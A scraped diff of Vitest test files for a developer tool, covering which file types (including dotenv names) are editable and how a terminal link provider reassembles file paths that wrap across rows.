import { describe, it, expect } from 'vitest';
import { TEXT_ATTACHMENT_EXTENSIONS } from '../src/attachment-registry.js';
import {
EDITABLE_EXTENSIONS,
MAX_EDITABLE_BYTES,
applyEol,
detectEol,
@@ -15,6 +17,20 @@ import {
} from '../src/config/file-editing.js';
describe('file-editing policy', () => {
describe('shared text extensions', () => {
it('excludes env from TEXT_ATTACHMENT_EXTENSIONS', () => {
expect(TEXT_ATTACHMENT_EXTENSIONS.has('env')).toBe(false);
});
it('excludes env from EDITABLE_EXTENSIONS', () => {
expect(EDITABLE_EXTENSIONS.has('env')).toBe(false);
});
it('shares the same set between attachment and editor extensions', () => {
expect(TEXT_ATTACHMENT_EXTENSIONS).toBe(EDITABLE_EXTENSIONS);
});
});
describe('isEditableFileName', () => {
it('allows common text extensions', () => {
for (const name of ['a.ts', 'b.md', 'c.json', 'd.py', 'style.css', 'notes.txt', 'x.yml', 'Q.SQL']) {
@@ -34,11 +50,34 @@ describe('file-editing policy', () => {
}
});
it('rejects svg and env (deliberate v1 exclusions)', () => {
it('rejects svg (deliberate exclusion)', () => {
expect(isEditableFileName('image.svg')).toBe(false);
expect(isEditableFileName('config.env')).toBe(false);
});
it.each([
'.env',
'.env.local',
'.env.production',
'.env.development.local',
'.env.example',
'.env.template',
'.env.sample',
'.ENV',
'.Env.Local',
'config.env',
'prod.env',
'docker.ENV',
])('allows dotenv filename %s', (name) => {
expect(isEditableFileName(name)).toBe(true);
});
it.each(['.envrc', 'env', '.environment', 'environment', '.env-local', 'foo.envrc', 'envfile'])(
'rejects dotenv lookalike %s',
(name) => {
expect(isEditableFileName(name)).toBe(false);
}
);
it('rejects extensionless and unknown-dotfile names not on the basename list', () => {
expect(isEditableFileName('somebinary')).toBe(false);
expect(isEditableFileName('.bashrc')).toBe(false);
+174 -4
View File
@@ -52,13 +52,13 @@ const { findFilePathLinks, resolveLinkedFilePath, terminalPathLine } = loadHelpe
const paths = (text: string) => findFilePathLinks(text).map((f) => f.path);
/** An xterm buffer stand-in: hard-broken rows (no `isWrapped`), as Claude Code emits them. */
function buffer(lines: string[], cols = 80) {
function buffer(lines: string[], cols = 80, wrappedRows = new Set<number>()) {
return {
length: lines.length,
getLine: (row: number) =>
row >= 0 && row < lines.length
? {
isWrapped: false,
isWrapped: wrappedRows.has(row),
translateToString: (trim?: boolean) => (trim ? lines[row].replace(/\s+$/, '') : lines[row].padEnd(cols)),
}
: undefined,
@@ -157,6 +157,10 @@ describe('terminalPathLine', () => {
// A path that already ended, and a next line opening a new rooted path.
expect(terminalPathLine(buffer(['see /tmp/a/b.png', 'c/d.png']), 0, 80)).toMatchObject({ endRow: 0 });
expect(terminalPathLine(buffer(['/home/joe/dir/', '/home/x.png']), 0, 80)).toMatchObject({ endRow: 0 });
expect(terminalPathLine(buffer(['see (/mnt/raid1/folder)', ' file.conf)']), 0, 80)).toMatchObject({ endRow: 0 });
expect(terminalPathLine(buffer(['see (/mnt/raid1/folder', ' /mnt/other/file.conf)']), 0, 80)).toMatchObject({
endRow: 0,
});
});
// `git ls-files`, `find` and `ls -R` print one path per row. An extensionless
@@ -237,13 +241,16 @@ function loadApp() {
app.sessions = new Map([['s1', { workingDir: '/mnt/build/neon_getaway-mgr-hebel' }]]);
app.openFilePreview = vi.fn();
app.openLogViewerWindow = vi.fn();
app._registerExternalPreview = vi.fn(async () => ({ attachmentId: 'att-fixture' }));
app.showToast = vi.fn();
app._isExternalPreviewPath = (p: string) => p.startsWith('~/');
app._isOutsideWorktreePath = () => false;
return app;
}
function linksOn(lines: string[], row: number) {
function linksOn(lines: string[], row: number, cols = 80, wrappedRows = new Set<number>()) {
const app = loadApp();
app.terminal = { cols: 80, registerLinkProvider: vi.fn(), buffer: { active: buffer(lines) } };
app.terminal = { cols, registerLinkProvider: vi.fn(), buffer: { active: buffer(lines, cols, wrappedRows) } };
const provider = app.registerFilePathLinkProvider() as Provider;
let out: Link[] = [];
provider.provideLinks(row, (links) => {
@@ -253,6 +260,169 @@ function linksOn(lines: string[], row: number) {
}
describe('terminal link provider', () => {
it.each(['svg', 'markdown', 'avif', 'bmp', 'ico', 'zip'])(
'keeps the workspace opener for a hard-wrapped .%s rejected by the attachment registry',
async (extension) => {
for (const row of [1, 2]) {
const path = `/home/me/proj/out/system_architecture.${extension}`;
const { app, links } = linksOn(
['Saved the diagram (/home/me/proj/out/system_archi', ` tecture.${extension}).`],
row,
120
);
app.sessions = new Map([['s1', { workingDir: '/home/me/proj' }]]);
app._registerExternalPreview.mockResolvedValue({ status: 400, error: 'Unsupported attachment type' });
await links[0].activate({}, links[0].text);
const opener = extension === 'zip' ? app.openLogViewerWindow : app.openFilePreview;
expect(opener).toHaveBeenCalledWith(path, 's1');
expect(app._registerExternalPreview.mock.calls).toEqual([[path, 's1']]);
expect(app.showToast).not.toHaveBeenCalled();
}
}
);
it.each([
[
['Saved the screenshot (/home/me/proj/out/ghost1b_game', ' play.png).'],
'/home/me/proj/out/ghost1b_gameplay.png',
],
[
[' ⎿ Wrote (/mnt/build/neon/builds/captures/ghost1b_gamepl', ' ay.png) ok'],
'/mnt/build/neon/builds/captures/ghost1b_gameplay.png',
],
[
['Saved the screenshot (/home/me/proj/out/ghost1b_', ' very_long_game', ' play.png).'],
'/home/me/proj/out/ghost1b_very_long_gameplay.png',
],
])('preserves a parenthesised filename without spaces across hard wraps: %s', async (rows, path) => {
for (let row = 1; row <= rows.length; row++) {
const { app, links } = linksOn(rows, row, 120);
expect(links.map((link) => link.text)).toEqual([path]);
await links[0].activate({}, links[0].text);
expect(app.openFilePreview).toHaveBeenCalledWith(path, 's1');
expect(app._registerExternalPreview.mock.calls).toEqual([[path, 's1']]);
}
});
it('uses the spaced filename only when the unspaced hard-wrap target is missing', async () => {
const path = '/mnt/user/Scratch/Kobo/Set-KoboCovers/Kobo eReader.conf';
const rows = [
'Found it: I prepared a corrected configuration (/mnt/user/Scratch/Kobo/Set-KoboCovers/Kobo',
' eReader.conf).',
];
for (const row of [1, 2]) {
const { app, links } = linksOn(rows, row, 120);
const unspaced = path.replace('Kobo eReader', 'KoboeReader');
expect(links.map((link) => link.text)).toEqual([unspaced]);
expect(links[0].range.end).toEqual({ x: ' eReader.conf'.length + 1, y: 2 });
app._registerExternalPreview.mockImplementation(async (candidate: string) =>
candidate === path ? { attachmentId: 'att-fixture' } : { status: 404, error: 'File not found' }
);
await links[0].activate({}, links[0].text);
expect(app.openLogViewerWindow).toHaveBeenCalledWith(path, 's1');
expect(app._registerExternalPreview.mock.calls).toEqual([
[unspaced, 's1'],
[path, 's1'],
]);
}
});
it.each([403, 500, 503])('does not try another path after a guarded lookup returns HTTP %s', async (status) => {
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], 1, 120);
app._registerExternalPreview.mockResolvedValue({ status, error: 'Lookup refused' });
await links[0].activate({}, links[0].text);
expect(app._registerExternalPreview).toHaveBeenCalledTimes(1);
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
expect(app.showToast).not.toHaveBeenCalled();
});
it('keeps the original opener when the lookup cannot reach the server', async () => {
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], 1, 120);
app._registerExternalPreview.mockResolvedValue({ error: 'Connection lost' });
await links[0].activate({}, links[0].text);
expect(app._registerExternalPreview).toHaveBeenCalledTimes(1);
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
});
it('never looks up a spaced name for a hard-wrapped Bash( row, which holds a command', async () => {
const { app, links } = linksOn(['Bash(/mnt/data/Kobo', ' eReader.conf)'], 1, 120);
await links[0].activate({}, links[0].text);
expect(app._registerExternalPreview).not.toHaveBeenCalled();
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
});
it('uses the original opener when both hard-wrap filenames are missing', async () => {
for (const row of [1, 2]) {
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], row, 120);
app._registerExternalPreview.mockResolvedValue({ status: 404, error: 'Attachment file not found' });
await links[0].activate({}, links[0].text);
expect(app._registerExternalPreview.mock.calls).toEqual([
['/mnt/data/KoboeReader.conf', 's1'],
['/mnt/data/Kobo eReader.conf', 's1'],
]);
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
expect(app.showToast).not.toHaveBeenCalled();
}
});
it.each(['Path: ', '- ', '- Path: ', ' Path: '])(
'resolves the filename without its parenthesised prefix %j',
async (prefix) => {
for (const row of [1, 2]) {
const { app, links } = linksOn([`Saved the notes (${prefix}/home/me/proj/out/My`, ' Notes.md).'], row, 120);
app._registerExternalPreview
.mockResolvedValueOnce({ status: 404, error: 'Attachment file not found' })
.mockResolvedValueOnce({ attachmentId: 'att-spaced' });
expect(links.map((link) => link.text)).toEqual(['/home/me/proj/out/MyNotes.md']);
await links[0].activate({}, links[0].text);
expect(app._registerExternalPreview.mock.calls).toEqual([
['/home/me/proj/out/MyNotes.md', 's1'],
['/home/me/proj/out/My Notes.md', 's1'],
]);
expect(app.openFilePreview).toHaveBeenCalledWith('/home/me/proj/out/My Notes.md', 's1');
}
}
);
it.each([400, 403, 500, 503])('does not open an unregistered spaced alternative after HTTP %s', async (status) => {
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], 1, 120);
app._registerExternalPreview
.mockResolvedValueOnce({ status: 404, error: 'File not found' })
.mockResolvedValueOnce({ status, error: 'Alternative unavailable' });
await links[0].activate({}, links[0].text);
expect(app._registerExternalPreview.mock.calls).toEqual([
['/mnt/data/KoboeReader.conf', 's1'],
['/mnt/data/Kobo eReader.conf', 's1'],
]);
expect(app.openFilePreview).not.toHaveBeenCalled();
expect(app.openLogViewerWindow).not.toHaveBeenCalled();
expect(app.showToast).toHaveBeenCalledWith('Alternative unavailable', 'error');
});
it('keeps the session selected at click time while a path lookup is pending', async () => {
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], 1, 120);
const pending = links[0].activate({}, links[0].text);
app.activeSessionId = 'another-session';
await pending;
expect(app._registerExternalPreview).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
});
it('opens the complete parenthesised configuration path from either wrapped row', () => {
const path = '/mnt/user/Scratch/Kobo/Set-KoboCovers/Kobo eReader.conf';
const text = `Found it: I prepared a corrected configuration (${path}).`;
const split = text.indexOf(' eReader') + 1;
const rows = [text.slice(0, split), text.slice(split)];
for (const row of [1, 2]) {
const { app, links } = linksOn(rows, row, split, new Set([1]));
expect(links.map((link) => link.text)).toEqual([path]);
expect(links[0].range.start).toEqual({ x: text.indexOf(path) + 1, y: 1 });
expect(links[0].range.end).toEqual({ x: 'eReader.conf'.length + 1, y: 2 });
links[0].activate({}, links[0].text);
expect(app.openLogViewerWindow).toHaveBeenCalledWith(path, 's1');
}
});
it('links a broken path once, across both rows, and opens the whole path', () => {
const { app, links } = linksOn(BROKEN, 2);
expect(links.map((l) => l.text)).toEqual([BROKEN_PATH]);
Loaded 100 of 775 files, more files were not shown because too many files have changed in this diff. Show more